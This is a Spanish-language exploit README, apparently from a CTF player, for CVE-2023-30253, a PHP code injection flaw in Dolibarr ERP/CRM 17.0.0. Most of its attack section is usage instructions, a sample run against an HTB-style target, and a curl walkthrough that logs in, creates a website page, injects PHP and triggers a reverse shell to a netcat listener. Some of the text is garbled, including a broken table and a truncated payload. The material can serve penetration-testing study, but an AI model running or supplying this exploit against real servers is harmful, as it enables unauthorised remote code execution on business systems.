Share
## https://sploitus.com/exploit?id=69442CC3-B601-573D-824A-CC019C504C9E
# CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution
[](https://python.org)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2023-30253)
Exploit de inyección de código PHP para **Dolibarr ERP/CRM v17.0.0** que
permite obtener una **shell reversa** como usuario `www-data` mediante
el módulo Website/CMS.
**⚠️ Solo para uso educativo y auditorías con autorización.**
---
## 📑 Índice
- [¿Qué es CVE-2023-30253?](#-qué-es-cve-2023-30253)
- [¿Cómo funciona la vulnerabilidad?](#-cómo-funciona-la-vulnerabilidad)
- [Impacto](#-impacto)
- [¿Qué hace este exploit?](#-qué-hace-este-exploit)
- [Requisitos](#-requisitos)
- [Instalación](#-instalación)
- [Uso](#-uso)
- [Ejemplo práctico](#-ejemplo-práctico)
- [El exploit paso a paso](#-el-exploit-paso-a-paso)
- [Mitigación](#-mitigación)
- [Referencias](#-referencias)
---
## 🔍 ¿Qué es CVE-2023-30253?
**CVE-2023-30253** es una vulnerabilidad de **inyección de código PHP**
(CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM
versiones anteriores a **17.0.1**.
Fue descubierta y reportada por el equipo de **Swascan** (ahora
Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el
módulo **Website/CMS**, que permite a usuarios autenticados crear y
gestionar sitios web dentro de Dolibarr.
| Campo | Valor |
|----------------------|--------------------------------------------------------|
| **CVE** | CVE-2023-30253 |
| **CVSS v3.1** | 8.8 (HIGH) |
| **Vector** | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Tipo** | CWE-94 — Code Injection |
| **Software afectado**| Dolibarr ERP/CRM `| ✅ | ✅ |
| ``| ❌ | ✅ |
| ``| ❌ | ✅ |
| ``| ❌ | ✅ |
El exploit usa ` [opciones]
```
**Argumentos posicionales:**
| Argumento | Descripción | Ejemplo |
|--------------|------------------------------------------------|--------------------------|
| `target` | URL base de Dolibarr | `http://crm.board.htb` |
| `username` | Usuario de Dolibarr | `admin` |
| `password` | Contraseña de Dolibarr | `admin` |
| `lhost` | Tu IP (donde recibirás la shell) | `10.10.14.5` |
| `lport` | Tu puerto (donde recibirás la shell) | `4444` |
**Opciones:**
| Opción | Descripción |
|-------------------|------------------------------------------------|
| `-v, --verbose` | Muestra información detallada de depuración |
| `--no-color` | Desactiva colores en la salida |
| `-h, --help` | Muestra la ayuda y ejemplos |
---
## 🎯 Ejemplo práctico
### Terminal 1 — Iniciar listener de shell reversa
```bash
nc -lvnp 4444
```
### Terminal 2 — Ejecutar exploit
```bash
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
```
### Salida esperada
```
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
```
### Terminal 1 — Shell obtenida 🎯
```
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
---
## 🔬 El exploit paso a paso
Si prefieres entender el proceso manualmente (sin el script), aquí
está el flujo completo:
### 1. Autenticarse
```bash
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
```
### 2. Crear un sitio web
```bash
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
```
> **⚠️ Lección aprendida:** El parámetro `action` correcto es `addsite`,
> no `add` como aparece en algunos exploits públicos.
### 3. Crear una página
```bash
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
```
### 4. Inyectar código PHP
```bash
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
```
> **🔑 Clave del ataque:** El campo correcto es `PAGE_CONTENT`, no
> `WEBSITE_CONTENT`. Muchos PoCs públicos tienen este error.
### 5. Ejecutar el payload
```bash
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
```
---
## 🛡️ Mitigación
Para proteger un servidor Dolibarr contra esta vulnerabilidad:
### Actualizar (recomendado)
```bash
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de
Creado por Jean Carlos
Estudiante de Ciberseguridad | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304